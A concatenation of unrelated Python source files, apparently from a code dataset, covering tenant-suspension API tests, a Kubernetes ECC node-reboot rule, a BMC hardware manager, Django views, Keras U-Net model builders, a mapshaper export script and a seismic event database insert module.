assert r.status_code == 200
time.sleep(10)
# check token is rejected
r = dc.with_auth(token).call("GET", deviceauth.URL_MGMT_DEVICES)
assert r.status_code == 401
def test_accepted_dev_cant_authenticate(self, tenants_users_devices):
dacd = ApiClient(deviceauth.URL_DEVICES)
devauthm = ApiClient(deviceauth.URL_MGMT)
uc = ApiClient(useradm.URL_MGMT)
tc = ApiClient(tenantadm.URL_INTERNAL)
# accept a dev
device = tenants_users_devices[0].devices[0]
user = tenants_users_devices[0].users[0]
r = uc.call("POST", useradm.URL_LOGIN, auth=(user.name, user.pwd))
assert r.status_code == 200
utoken = r.text
aset = device.authsets[0]
change_authset_status(devauthm, aset.did, aset.id, "accepted", utoken)
# suspend
r = tc.call(
"PUT",
tenantadm.URL_INTERNAL_SUSPEND,
tenantadm.req_status("suspended"),
path_params={"tid": tenants_users_devices[0].id},
)
assert r.status_code == 200
time.sleep(10)
# try requesting auth
body, sighdr = deviceauth.auth_req(
aset.id_data,
aset.pubkey,
aset.privkey,
tenants_users_devices[0].tenant_token,
)
r = dacd.call("POST", deviceauth.URL_AUTH_REQS, body, headers=sighdr)
assert r.status_code == 401
assert r.json()["error"] == "Account suspended"
def test_authenticated_dev_is_rejected(self, tenants_users_devices):
dacd = ApiClient(deviceauth.URL_DEVICES)
devauthm = ApiClient(deviceauth.URL_MGMT)
uc = ApiClient(useradm.URL_MGMT)
tc = ApiClient(tenantadm.URL_INTERNAL)
dc = ApiClient(deployments.URL_DEVICES)
# accept a dev
user = tenants_users_devices[0].users[0]
r = uc.call("POST", useradm.URL_LOGIN, auth=(user.name, user.pwd))
assert r.status_code == 200
utoken = r.text
aset = tenants_users_devices[0].devices[0].authsets[0]
change_authset_status(devauthm, aset.did, aset.id, "accepted", utoken)
# request auth
body, sighdr = deviceauth.auth_req(
aset.id_data,
aset.pubkey,
aset.privkey,
tenants_users_devices[0].tenant_token,
)
r = dacd.call("POST", deviceauth.URL_AUTH_REQS, body, headers=sighdr)
assert r.status_code == 200
dtoken = r.text
# check device can access APIs
r = dc.with_auth(dtoken).call(
"GET",
deployments.URL_NEXT,
qs_params={"device_type": "foo", "artifact_name": "bar"},
)
assert r.status_code == 204
# suspend
r = tc.call(
"PUT",
tenantadm.URL_INTERNAL_SUSPEND,
tenantadm.req_status("suspended"),
path_params={"tid": tenants_users_devices[0].id},
)
assert r.status_code == 200
time.sleep(10)
# check device is rejected
r = dc.with_auth(dtoken).call(
"GET",
deployments.URL_NEXT,
qs_params={"device_type": "foo", "artifact_name": "bar"},
)
assert r.status_code == 401
| 7,321 | 2,598 |
import os, sys
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import json
import logging
import yaml
import requests
import time
from actions.migrate_job_action import MigrateJobAction
from actions.send_alert_action import SendAlertAction
from actions.reboot_node_action import RebootNodeAction
from actions.uncordon_action import UncordonAction
from datetime import datetime, timedelta, timezone
from rules_abc import Rule
from utils import prometheus_util, k8s_util
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
activity_log = logging.getLogger('activity')
def _extract_node_boot_time_info(response):
node_boot_times = {}
if response is not None and "data" in response:
if "result" in response["data"]:
for m in response["data"]["result"]:
instance = m["metric"]["instance"].split(":")[0]
boot_datetime = datetime.utcfromtimestamp(float(m["value"][1]))
node_boot_times[instance] = boot_datetime
return node_boot_times
def _create_email_for_pause_resume_job(job_id, node_names, job_link, job_owner_email):
message = MIMEMultipart()
message['Subject'] = f'Repair Manager Alert [{job_id} paused/resumed]'
message['To'] = job_owner_email
body = f'''<p>As previously notified, the following node(s) require reboot due to uncorrectable ECC error:</p>
<table border="1">'''
for node in node_names:
body += f'''<tr><td>{node}</td></tr>'''
body += f'''</table><p>
<p> Job <a href="{job_link}">{job_id}</a> has been paused/resumed so node(s) can be repaired.</p>'''
message.attach(MIMEText(body, 'html'))
return message
class EccRebootNodeRule(Rule):
def __init__(self, alert, config):
self.rule = 'ecc_rule'
self.alert = alert
self.config = config
self.ecc_config = self.load_ecc_config()
self.etcd_config = self.load_etcd_config()
self.all_jobs_indexed_by_node = {}
self.nodes_ready_for_action = set()
self.jobs_ready_for_migration = {}
def load_ecc_config(self):
with open('/etc/RepairManager/config/ecc-config.yaml', 'r') as file:
return yaml.safe_load(file)
def load_etcd_config(self):
with open('/etc/RepairManager/config/etcd.conf.yaml', 'r') as file:
return yaml.safe_load(file)
def check_for_rebooted_nodes_and_uncordon(self, dry_run):
# if node has been rebooted since ecc error initially detected,
# uncordon, remove from rule_cache, and mark as resolved
url = f"http://{self.config['prometheus']['ip']}:{self.config['prometheus']['port']}"
query = self.config['prometheus']['node_boot_time_query']
reboot_times_url = prometheus_util.format_url_query(url, query)
uncordon_action = UncordonAction()
try:
response = requests.get(reboot_times_url, timeout=10)
if response:
reboot_data = response.json()
reboot_times = _extract_node_boot_time_info(reboot_data)
bad_nodes = self.alert.get_rule_cache_keys(self.rule)
for node in bad_nodes:
instance = self.alert.get_rule_cache(self.rule, node)["instance"]
time_found_string = self.alert.get_rule_cache(self.rule, node)["time_found"]
time_found_datetime = datetime.strptime(time_found_string, self.config['date_time_format'])
last_reboot_time = reboot_times[instance]
if last_reboot_time > time_found_datetime:
uncordon_action.execute(node, dry_run)
self.alert.remove_from_rule_cache(self.rule, node)
activity_log.info({"action":"marked as resolved from incorrectable ecc error","node":node})
except:
logging.exception(f'Error checking if nodes have rebooted')
def check_for_nodes_with_no_jobs(self):
# if no jobs are running on node, take action on node
bad_nodes = self.alert.get_rule_cache_keys(self.rule)
self.all_jobs_indexed_by_node = k8s_util.get_job_info_indexed_by_node(
nodes=bad_nodes,
portal_url=self.config['portal_url'],
cluster_name=self.config['cluster_name'])
for node in bad_nodes:
node_has_no_jobs = node not in self.all_jobs_indexed_by_node
node_reboot_pending = 'reboot_requested' in self.alert.get_rule_cache(self.rule, node)
if node_has_no_jobs and not node_reboot_pending:
logging.debug(f'node {node} has no running jobs')
self.nodes_ready_for_action.add(node)
def check_if_nodes_are_due_for_reboot(self):
# if configured time has elapsed since initial detection, take action on node
bad_nodes = self.alert.get_rule_cache_keys(self.rule)
for node in bad_nodes:
time_found_string = self.alert.rule_cache[self.rule][node]["time_found"]
time_found_datetime = datetime.strptime(time_found_string, self.config['date_time_format'])
delta = timedelta(days=self.ecc_config.get("days_until_node_reboot", 5))
now = datetime.utcnow()
node_reboot_pending = 'reboot_requested' in self.alert.get_rule_cache(self.rule, node)
if now - time_found_datetime > delta and not node_reboot_pending:
logging.debug(f'Configured time has passed for node {node}')
self.nodes_ready_for_action.add(node)
self.determine_jobs_to_be_migrated(node)
def determine_jobs_to_be_migrated(self, node):
if node in self.all_jobs_indexed_by_node:
jobs_on_node = self.all_jobs_indexed_by_node[node]
for job in jobs_on_node:
job_id = job["job_id"]
if job_id not in self.jobs_ready_for_migration:
self.jobs_ready_for_migration[job_id] = {
"user_name": job["user_name"],
"vc_name": job["vc_name"],
"node_names": [node],
"job_link": job["job_link"]
}
else:
self.jobs_ready_for_migration[job_id]["node_names"].append(node)
def migrate_jobs_and_alert_job_owners(self, dry_run):
alert_action = SendAlertAction(self.alert)
max_attempts = self.ecc_config.get("attempts_for_pause_resume_jobs", 5)
wait_time = self.ecc_config.get("time_sleep_after_pausing", 30)
for job_id in self.jobs_ready_for_migration:
job = self.jobs_ready_for_migration[job_id]
job_owner = job['user_name']
job_owner_email = f"{job_owner}@{self.config['job_owner_email_domain']}"
node_names = job["node_names"]
job_link = job['job_link']
rest_url = self.config["rest_url"]
# migrate all jobs
migrate_job = MigrateJobAction(rest_url, max_attempts)
success = migrate_job.execute(
job_id=job_id,
job_owner_email=job_owner_email,
wait_time=wait_time,
dry_run=dry_run)
# alert job owners
if success:
message = _create_email_for_pause_resume_job(job_id, node_names, job_link, job_owner_email)
alert_dry_run = dry_run or not self.ecc_config['enable_alert_job_owners']
alert_action.execute(
message=message,
dry_run=alert_dry_run,
additional_log={"job_id":job_id,"job_owner":job_owner})
else:
logging.warning(f"Could not pause/resume the following job: {job_id}")
# skip rebooting the node this iteration
# and try again later
for node in node_names:
self.nodes_ready_for_action.remove(node)
def reboot_bad_nodes(self, dry_run):
reboot_action = RebootNodeAction()
for node in self.nodes_ready_for_action:
success = reboot_action.execute(node, self.etcd_config, dry_run)
if success:
# update reboot status so action is not taken again
cache_value = self.alert.get_rule_cache(self.rule, node)
cache_value['reboot_requested'] = datetime.utcnow().strftime(self.config['date_time_format'])
self.alert.update_rule_cache(self.rule, node, cache_value)
def check_status(self):
dry_run = not self.ecc_config["enable_reboot"]
self.check_for_rebooted_nodes_and_uncordon(dry_run)
self.check_for_nodes_with_no_jobs()
self.check_if_nodes_are_due_for_reboot()
return len(self.nodes_ready_for_action) > 0
def take_action(self):
dry_run = not self.ecc_config["enable_reboot"]
self.migrate_jobs_and_alert_job_owners(dry_run)
self.reboot_bad_nodes(dry_run)
| 8,985 | 2,800 |
# Copyright 2019 Nokia
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
#
import os
from ironic_python_agent import hardware
from ironic_python_agent import utils
from oslo_log import log
from oslo_concurrency import processutils
LOG = log.getLogger()
class BMCHardwareManager(hardware.GenericHardwareManager):
HARDWARE_MANAGER_NAME = 'BMCHardwareManager'
HARDWARE_MANAGER_VERSION = '1'
def evaluate_hardware_support(self):
"""Declare level of hardware support provided."""
LOG.info('Running in BMC environment')
return hardware.HardwareSupport.SERVICE_PROVIDER
def list_network_interfaces(self):
network_interfaces_list = []
bmc_mac = self.get_ipmi_info().get('MAC Address', False)
if bmc_mac:
LOG.info("Adding MAC address net interfaces %s", bmc_mac)
bmc_address = self.get_bmc_address()
network_interfaces_list.append(hardware.NetworkInterface(
name="BMC_INTERFACE",
mac_addr=bmc_mac,
ipv4_address=bmc_address,
has_carrier=True,
vendor="BMC",
product="Akraino"))
else:
network_interfaces_list = super(BMCHardwareManager, self).list_network_interfaces()
return network_interfaces_list
def get_ipmi_info(self):
# These modules are rarely loaded automatically
utils.try_execute('modprobe', 'ipmi_msghandler')
utils.try_execute('modprobe', 'ipmi_devintf')
utils.try_execute('modprobe', 'ipmi_si')
try:
out, _e = utils.execute(
"ipmitool lan print", shell=True, attempts=2)
except (processutils.ProcessExecutionError, OSError) as e:
# Not error, because it's normal in virtual environment
LOG.warning("Cannot get BMC info: %s", e)
return {}
info = {}
for line in out.split('\n'):
spl = line.find(':')
if spl == -1:
continue
else:
key = line[0:spl].strip()
if key == '':
continue
info[line[0:spl].strip()] = line[spl+1:].strip()
return info
| 2,735 | 807 |
from django.core.cache import cache
from datetime import datetime
from museum_site.models.detail import Detail
from museum_site.models.file import File
from museum_site.constants import TERMS_DATE
from museum_site.common import (
DEBUG, EMAIL_ADDRESS, BOOT_TS, CSS_INCLUDES, UPLOAD_CAP, env_from_host,
qs_sans
)
from museum_site.core.detail_identifiers import *
def museum_global(request):
data = {}
# Debug mode
if DEBUG or request.GET.get("DEBUG") or request.session.get("DEBUG"):
data["debug"] = True
else:
data["debug"] = False
# Server info
data["HOST"] = request.get_host()
data["ENV"] = env_from_host(data["HOST"])
data["PROTOCOL"] = "https" if request.is_secure() else "http"
data["DOMAIN"] = data["PROTOCOL"] + "://" + data["HOST"]
# Server date/time
data["datetime"] = datetime.utcnow()
if data["datetime"].day == 27: # Drupe Day
data["drupe"] = True
if data["datetime"].day == 1 and data["datetime"].month == 4: # April 1st
data["april"] = True
# Common query string modifications
data["qs_sans_page"] = qs_sans(request.GET, "page")
data["qs_sans_view"] = qs_sans(request.GET, "view")
data["qs_sans_both"] = qs_sans(request.GET, ["page", "view"])
# E-mail
data["EMAIL_ADDRESS"] = EMAIL_ADDRESS
data["BOOT_TS"] = BOOT_TS
# CSS Files
data["CSS_INCLUDES"] = CSS_INCLUDES
# Featured Worlds
data["fg"] = File.objects.featured_worlds().order_by("?").first()
if request.GET.get("fgid"):
data["fg"] = File.objects.reach(pk=int(request.GET["fgid"]))
if data["fg"]:
data["fg"].extra_context = {"nozoom": True}
data["fg"] = data["fg"]
# Upload Cap
data["UPLOAD_CAP"] = UPLOAD_CAP
# Queue size
data["UPLOAD_QUEUE_SIZE"] = cache.get("UPLOAD_QUEUE_SIZE", "-")
# User TOS Date checks
if request.user.is_authenticated:
if (
TERMS_DATE > request.user.profile.accepted_tos and
request.method == "GET" and
request.path != "/user/update-tos/"
):
# Force a new login
for key in [
"_auth_user_id", "_auth_user_backend", "_auth_user_hash"
]:
if request.session.get(key):
del request.session[key]
return data
| 2,344 | 808 |
from django.contrib.auth import get_user_model
from django.contrib.staticfiles.templatetags.staticfiles import static
from django.shortcuts import redirect
from misago.conf import settings
UserModel = get_user_model()
def user_avatar(request, pk, size):
size = int(size)
try:
user = UserModel.objects.get(pk=pk)
except UserModel.DoesNotExist:
return blank_avatar(request)
found_avatar = user.avatars[0]
for avatar in user.avatars:
if avatar['size'] >= size:
found_avatar = avatar
return redirect(found_avatar['url'])
def blank_avatar(request):
return redirect(static(settings.MISAGO_BLANK_AVATAR))
| 671 | 221 |
from __future__ import print_function, unicode_literals, absolute_import, division
from six.moves import range, zip, map, reduce, filter
from keras.layers import Input, Conv2D, Conv3D, Activation, Lambda
from keras.models import Model
from keras.layers.merge import Add, Concatenate
import tensorflow as tf
from keras import backend as K
from .blocks import unet_block, unet_blocks, gaussian_2d
import re
from ..utils import _raise, backend_channels_last
import numpy as np
def custom_unet(input_shape,
last_activation,
n_depth=2,
n_filter_base=16,
kernel_size=(3,3,3),
n_conv_per_depth=2,
activation="relu",
batch_norm=False,
dropout=0.0,
pool_size=(2,2,2),
n_channel_out=1,
residual=False,
prob_out=False,
long_skip=True,
eps_scale=1e-3):
""" TODO """
if last_activation is None:
raise ValueError("last activation has to be given (e.g. 'sigmoid', 'relu')!")
all((s % 2 == 1 for s in kernel_size)) or _raise(ValueError('kernel size should be odd in all dimensions.'))
channel_axis = -1 if backend_channels_last() else 1
n_dim = len(kernel_size)
# TODO: rewrite with conv_block
conv = Conv2D if n_dim == 2 else Conv3D
input = Input(input_shape, name="input")
unet = unet_block(n_depth, n_filter_base, kernel_size, input_planes=input_shape[-1],
activation=activation, dropout=dropout, batch_norm=batch_norm,
n_conv_per_depth=n_conv_per_depth, pool=pool_size, long_skip=long_skip)(input)
final = conv(n_channel_out, (1,)*n_dim, activation='linear')(unet)
if residual:
if not (n_channel_out == input_shape[-1] if backend_channels_last() else n_channel_out == input_shape[0]):
raise ValueError("number of input and output channels must be the same for a residual net.")
final = Add()([final, input])
final = Activation(activation=last_activation)(final)
if prob_out:
scale = conv(n_channel_out, (1,)*n_dim, activation='softplus')(unet)
scale = Lambda(lambda x: x+np.float32(eps_scale))(scale)
final = Concatenate(axis=channel_axis)([final, scale])
return Model(inputs=input, outputs=final)
def uxnet(input_shape,
n_depth=2,
n_filter_base=16,
kernel_size=(3, 3),
n_conv_per_depth=2,
activation="relu",
last_activation='linear',
batch_norm=False,
dropout=0.0,
pool_size=(2, 2),
residual=True,
odd_to_even=False,
shortcut=None,
shared_idx=[],
prob_out=False,
eps_scale=1e-3):
"""
Multi-body U-Net which learns identity by leaving one plane out in each branch
:param input_shape:
:param n_depth:
:param n_filter_base:
:param kernel_size:
:param n_conv_per_depth:
:param activation:
:param last_activation:
:param batch_norm:
:param dropout:
:param pool_size:
:param prob_out:
:param eps_scale:
:return: Model
"""
# TODO: fill params
# TODO: add odd-to-even mode
# Define vars
channel_axis = -1 if backend_channels_last() else 1
n_planes = input_shape[channel_axis]
if n_planes % 2 != 0 and odd_to_even:
raise ValueError('Odd-to-even mode does not support uneven number of planes')
n_dim = len(kernel_size)
conv = Conv2D if n_dim == 2 else Conv3D
# Define functional model
input = Input(shape=input_shape, name='input_main')
# TODO test new implementation and remove old
# Split planes (preserve channel)
input_x = [Lambda(lambda x: x[..., i:i+1], output_shape=(None, None, 1))(input) for i in range(n_planes)]
# We can train either in odd-to-even mode or in LOO mode
if odd_to_even:
# In this mode we stack together odd and even planes, train the net to predict even from odd and vice versa
# input_x_out = [Concatenate(axis=-1)(input_x[j::2]) for j in range(2)]
input_x_out = [Concatenate(axis=-1)(input_x[j::2]) for j in range(1, -1, -1)]
else:
# Concatenate planes back in leave-one-out way
input_x_out = [Concatenate(axis=-1)([plane for i, plane in enumerate(input_x) if i != j]) for j in range(n_planes)]
# if odd_to_even:
# input_x_out = [Lambda(lambda x: x[..., j::2],
# output_shape=(None, None, n_planes // 2),
# name='{}_planes'.format('even' if j == 0 else 'odd'))(input)
# for j in range(1, -1, -1)]
# else:
# # input_x_out = [Lambda(lambda x: x[..., tf.convert_to_tensor([i for i in range(n_planes) if i != j], dtype=tf.int32)],
# # output_shape=(None, None, n_planes-1),
# # name='leave_{}_plane_out'.format(j))(input)
# # for j in range(n_planes)]
#
# input_x_out = [Lambda(lambda x: K.concatenate([x[..., :j], x[..., (j+1):]], axis=-1),
# output_shape=(None, None, n_planes - 1),
# name='leave_{}_plane_out'.format(j))(input)
# for j in range(n_planes)]
# U-Net parameters depend on mode (odd-to-even or LOO)
n_blocks = 2 if odd_to_even else n_planes
input_planes = n_planes // 2 if odd_to_even else n_planes-1
output_planes = n_planes // 2 if odd_to_even else 1
# Create U-Net blocks (by number of planes)
unet_x = unet_blocks(n_blocks=n_blocks, input_planes=input_planes, output_planes=output_planes,
n_depth=n_depth, n_filter_base=n_filter_base, kernel_size=kernel_size,
activation=activation, dropout=dropout, batch_norm=batch_norm,
n_conv_per_depth=n_conv_per_depth, pool=pool_size, shared_idx=shared_idx)
unet_x = [unet(inp_out) for unet, inp_out in zip(unet_x, input_x_out)]
# Version without weight sharing:
# unet_x = [unet_block(n_depth, n_filter_base, kernel_size,
# activation=activation, dropout=dropout, batch_norm=batch_norm,
# n_conv_per_depth=n_conv_per_depth, pool=pool_size,
# prefix='out_{}_'.format(i))(inp_out) for i, inp_out in enumerate(input_x_out)]
# TODO: rewritten for sharing -- remove commented below
# Convolve n_filter_base to 1 as each U-Net predicts a single plane
# unet_x = [conv(1, (1,) * n_dim, activation=activation)(unet) for unet in unet_x]
if residual:
if odd_to_even:
# For residual U-Net sum up output for odd planes with even planes and vice versa
unet_x = [Add()([unet, inp]) for unet, inp in zip(unet_x, input_x[::-1])]
else:
# For residual U-Net sum up output with its neighbor (next for the first plane, previous for the rest
unet_x = [Add()([unet, inp]) for unet, inp in zip(unet_x, [input_x[1]]+input_x[:-1])]
# Concatenate outputs of blocks, should receive (None, None, None, n_planes)
# TODO assert to check shape?
if odd_to_even:
# Split even and odd, assemble them together in the correct order
# TODO tests
unet_even = [Lambda(lambda x: x[..., i:i+1],
output_shape=(None, None, 1),
name='even_{}'.format(i))(unet_x[0]) for i in range(n_planes // 2)]
unet_odd = [Lambda(lambda x: x[..., i:i+1],
output_shape=(None, None, 1),
name='odd_{}'.format(i))(unet_x[1]) for i in range(n_planes // 2)]
unet_x = list(np.array(list(zip(unet_even, unet_odd))).flatten())
unet = Concatenate(axis=-1)(unet_x)
if shortcut is not None:
# We can create a shortcut without long skip connection to prevent noise memorization
if shortcut == 'unet':
shortcut_block = unet_block(long_skip=False, input_planes=n_planes,
n_depth=n_depth, n_filter_base=n_filter_base, kernel_size=kernel_size,
activation=activation, dropout=dropout, batch_norm=batch_norm,
n_conv_per_depth=n_conv_per_depth, pool=pool_size)(input)
shortcut_block = conv(n_planes, (1,) * n_dim, activation='linear', name='shortcut_final_conv')(shortcut_block)
# Or a simple gaussian blur block
elif shortcut == 'gaussian':
shortcut_block = gaussian_2d(n_planes, k=13, s=7)(input)
else:
raise ValueError('Shortcut should be either unet or gaussian')
# TODO add or concatenate?
unet = Add()([unet, shortcut_block])
# unet = Concatenate(axis=-1)([unet, shortcut_unet])
# Final activation layer
final = Activation(activation=last_activation)(unet)
if prob_out:
scale = conv(n_planes, (1,)*n_dim, activation='softplus')(unet)
scale = Lambda(lambda x: x+np.float32(eps_scale))(scale)
final = Concatenate(axis=channel_axis)([final, scale])
return Model(inputs=input, outputs=final)
def common_unet(n_dim=2, n_depth=1, kern_size=3, n_first=16, n_channel_out=1,
residual=True, prob_out=False, long_skip=True, last_activation='linear'):
"""
Construct a common CARE neural net based on U-Net [1]_ and residual learning [2]_
to be used for image restoration/enhancement.
Parameters
----------
n_dim : int
number of image dimensions (2 or 3)
n_depth : int
number of resolution levels of U-Net architecture
kern_size : int
size of convolution filter in all image dimensions
n_first : int
number of convolution filters for first U-Net resolution level (value is doubled after each downsampling operation)
n_channel_out : int
number of channels of the predicted output image
residual : bool
if True, model will internally predict the residual w.r.t. the input (typically better)
requires number of input and output image channels to be equal
prob_out : bool
standard regression (False) or probabilistic prediction (True)
if True, model will predict two values for each input pixel (mean and positive scale value)
last_activation : str
name of activation function for the final output layer
Returns
-------
function
Function to construct the network, which takes as argument the shape of the input image
Example
-------
>>> model = common_unet(2, 1,3,16, 1, True, False)(input_shape)
References
----------
.. [1] Olaf Ronneberger, Philipp Fischer, Thomas Brox, *U-Net: Convolutional Networks for Biomedical Image Segmentation*, MICCAI 2015
.. [2] Kaiming He, Xiangyu Zhang, Shaoqing Ren, Jian Sun. *Deep Residual Learning for Image Recognition*, CVPR 2016
"""
def _build_this(input_shape):
return custom_unet(input_shape, last_activation, n_depth, n_first, (kern_size,)*n_dim, pool_size=(2,)*n_dim,
n_channel_out=n_channel_out, residual=residual, prob_out=prob_out, long_skip=long_skip)
return _build_this
def common_uxnet(n_dim=2, n_depth=1, kern_size=3, n_first=16,
residual=True, prob_out=False, last_activation='linear',
shared_idx=[], odd_to_even=False, shortcut=None):
def _build_this(input_shape):
return uxnet(input_shape=input_shape, last_activation=last_activation, n_depth=n_depth, n_filter_base=n_first,
kernel_size=(kern_size,)*n_dim, pool_size=(2,)*n_dim,
residual=residual, prob_out=prob_out,
shared_idx=shared_idx, odd_to_even=odd_to_even, shortcut=shortcut)
return _build_this
modelname = re.compile("^(?P<model>resunet|unet)(?P<n_dim>\d)(?P<prob_out>p)?_(?P<n_depth>\d+)_(?P<kern_size>\d+)_(?P<n_first>\d+)(_(?P<n_channel_out>\d+)out)?(_(?P<last_activation>.+)-last)?$")
def common_unet_by_name(model):
r"""Shorthand notation for equivalent use of :func:`common_unet`.
Parameters
----------
model : str
define model to be created via string, which is parsed as a regular expression:
`^(?P<model>resunet|unet)(?P<n_dim>\d)(?P<prob_out>p)?_(?P<n_depth>\d+)_(?P<kern_size>\d+)_(?P<n_first>\d+)(_(?P<n_channel_out>\d+)out)?(_(?P<last_activation>.+)-last)?$`
Returns
-------
function
Calls :func:`common_unet` with the respective parameters.
Raises
------
ValueError
If argument `model` is not a valid string according to the regular expression.
Example
-------
>>> model = common_unet_by_name('resunet2_1_3_16_1out')(input_shape)
>>> # equivalent to: model = common_unet(2, 1,3,16, 1, True, False)(input_shape)
Todo
----
Backslashes in docstring for regexp not rendered correctly.
"""
m = modelname.fullmatch(model)
if m is None:
raise ValueError("model name '%s' unknown, must follow pattern '%s'" % (model, modelname.pattern))
# from pprint import pprint
# pprint(m.groupdict())
options = {k:int(m.group(k)) for k in ['n_depth','n_first','kern_size']}
options['prob_out'] = m.group('prob_out') is not None
options['residual'] = {'unet': False, 'resunet': True}[m.group('model')]
options['n_dim'] = int(m.group('n_dim'))
options['n_channel_out'] = 1 if m.group('n_channel_out') is None else int(m.group('n_channel_out'))
if m.group('last_activation') is not None:
options['last_activation'] = m.group('last_activation')
return common_unet(**options)
def receptive_field_unet(n_depth, kern_size, pool_size=2, n_dim=2, img_size=1024):
"""Receptive field for U-Net model (pre/post for each dimension)."""
x = np.zeros((1,)+(img_size,)*n_dim+(1,))
mid = tuple([s//2 for s in x.shape[1:-1]])
x[(slice(None),) + mid + (slice(None),)] = 1
model = custom_unet (
x.shape[1:],
n_depth=n_depth, kernel_size=[kern_size]*n_dim, pool_size=[pool_size]*n_dim,
n_filter_base=8, activation='linear', last_activation='linear',
)
y = model.predict(x)[0,...,0]
y0 = model.predict(0*x)[0,...,0]
ind = np.where(np.abs(y-y0)>0)
return [(m-np.min(i), np.max(i)-m) for (m, i) in zip(mid, ind)] | 14,501 | 4,892 |
parameters = {}
genome = {}
genome_stats = {}
genome_test_stats = []
brain = {}
cortical_list = []
cortical_map = {}
intercortical_mapping = []
block_dic = {}
upstream_neurons = {}
memory_list = {}
activity_stats = {}
temp_neuron_list = []
original_genome_id = []
fire_list = []
termination_flag = False
variation_counter_actual = 0
exposure_counter_actual = 0
mnist_training = {}
mnist_testing = {}
top_10_utf_memory_neurons = {}
top_10_utf_neurons = {}
v1_members = []
prunning_candidates = set()
genome_id = ""
event_id = '_'
blueprint = ""
comprehension_queue = ''
working_directory = ''
connectome_path = ''
paths = {}
watchdog_queue = ''
exit_condition = False
fcl_queue = ''
proximity_queue = ''
last_ipu_activity = ''
last_alertness_trigger = ''
influxdb = ''
mongodb = ''
running_in_container = False
hardware = ''
gazebo = False
stimulation_data = {}
hw_controller_path = ''
hw_controller = None
opu_pub = None
router_address = None
burst_timer = 1
# rules = ""
brain_is_running = False
# live_mode_status can have modes of idle, learning, testing, tbd
live_mode_status = 'idle'
fcl_history = {}
brain_run_id = ""
burst_detection_list = {}
burst_count = 0
fire_candidate_list = {}
previous_fcl = {}
future_fcl = {}
labeled_image = []
training_neuron_list_utf = {}
training_neuron_list_img = {}
empty_fcl_counter = 0
neuron_mp_list = []
pain_flag = False
cumulative_neighbor_count = 0
time_neuron_update = ''
time_apply_plasticity_ext = ''
plasticity_time_total = None
plasticity_time_total_p1 = None
plasticity_dict = {}
tester_test_stats = {}
# Flags
flag_ready_to_inject_image = False
| 1,602 | 609 |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import subprocess
from geonamescache import GeonamesCache
gc = GeonamesCache()
toposrc = '../data/states-provinces.json'
for iso2, country in gc.get_countries().items():
iso3 = country['iso3']
topojson = 'mapshaper -i {0} -filter \'"{1}" == adm0_a3\' -filter-fields fips,name -o format=topojson {1}.json'
subprocess.call(topojson.format(toposrc, iso3), shell=True)
subprocess.call('mv *.json ../src/topojson/countries/', shell=True) | 494 | 192 |
"""
This module contains all information for pushing a NordicEvent object into the database.
Functions and Classes
---------------------
"""
import psycopg2
import os
import re
import datetime
from nordb.core import usernameUtilities
from nordb.database import creationInfo
INSERT_COMMANDS = {
1: (
"INSERT INTO "
"nordic_header_main "
"(origin_time, origin_date, location_model, "
"distance_indicator, event_desc_id, epicenter_latitude, "
"epicenter_longitude, depth, depth_control, "
"locating_indicator, epicenter_reporting_agency, "
"stations_used, rms_time_residuals, magnitude_1, "
"type_of_magnitude_1, magnitude_reporting_agency_1, "
"magnitude_2, type_of_magnitude_2, magnitude_reporting_agency_2, "
"magnitude_3, type_of_magnitude_3, magnitude_reporting_agency_3, "
"event_id) "
"VALUES "
"(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, "
"%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s) "
"RETURNING "
"id;"
),
2: (
"INSERT INTO "
"nordic_header_macroseismic "
"(description, diastrophism_code, tsunami_code, seiche_code, "
"cultural_effects, unusual_effects, maximum_observed_intensity, "
"maximum_intensity_qualifier, intensity_scale, macroseismic_latitude, "
"macroseismic_longitude, macroseismic_magnitude, type_of_magnitude, "
"logarithm_of_radius, logarithm_of_area_1, bordering_intensity_1, "
"logarithm_of_area_2, bordering_intensity_2, quality_rank, "
"reporting_agency, event_id) "
"VALUES "
"(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, "
" %s, %s, %s, %s, %s, %s) "
"RETURNING "
"id"
),
3: (
"INSERT INTO "
"nordic_header_comment "
"(h_comment, event_id) "
"VALUES "
"(%s, %s) "
"RETURNING "
"id "
),
5: (
"INSERT INTO "
"nordic_header_error "
"(gap, second_error, epicenter_latitude_error, "
"epicenter_longitude_error, depth_error, "
"magnitude_error, header_id) "
"VALUES "
"(%s, %s, %s, %s, %s, %s, %s)"
"RETURNING "
"id"
),
6: (
"INSERT INTO "
"nordic_header_waveform "
"(waveform_info, event_id) "
"VALUES "
"(%s, %s) "
"RETURNING "
"id "
),
7: (
"INSERT INTO "
"nordic_phase_data "
"(station_code, sp_instrument_type, sp_component, quality_indicator, "
"phase_type, weight, first_motion, observation_time, "
"signal_duration, max_amplitude, max_amplitude_period, back_azimuth, "
"apparent_velocity, signal_to_noise, azimuth_residual, "
"travel_time_residual, location_weight, epicenter_distance, "
"epicenter_to_station_azimuth, event_id) "
"VALUES "
"(%s, %s, %s, %s, %s, %s, %s, %s, %s, %s, %s, "
"%s, %s, %s, %s, %s, %s, %s, %s, %s) "
"RETURNING "
"id "
),
}
def event2Database(nordic_event, solution_type = "O", nordic_filename = None, f_creation_id = None, e_id = -1, privacy_level='public', db_conn = None):
"""
Function that pushes a NordicEvent object to the database
:param NordicEvent nordic_event: Event that will be pushed to the database
:param int solution_type: event type id
:param str nordic_filename: name of the file from which the nordic is read from
:param int f_creation_id: id of the creation_info entry in the database
:param int e_id: id of the event to which this event will be attached to by event_root. If -1 then this event will not be attached to aything.
:param string privacy_level: privacy level of the event in the database
"""
if db_conn is None:
conn = usernameUtilities.log2nordb()
else:
conn = db_conn
if f_creation_id is None:
creation_id = creationInfo.createCreationInfo(privacy_level, conn)
else:
creation_id = f_creation_id
author_id = None
for header in nordic_event.comment_h:
search = re.search(r'\((\w{3})\)', header.h_comment)
if search is not None:
author_id = search.group(0)[1:-1]
if author_id is None:
author_id = '---'
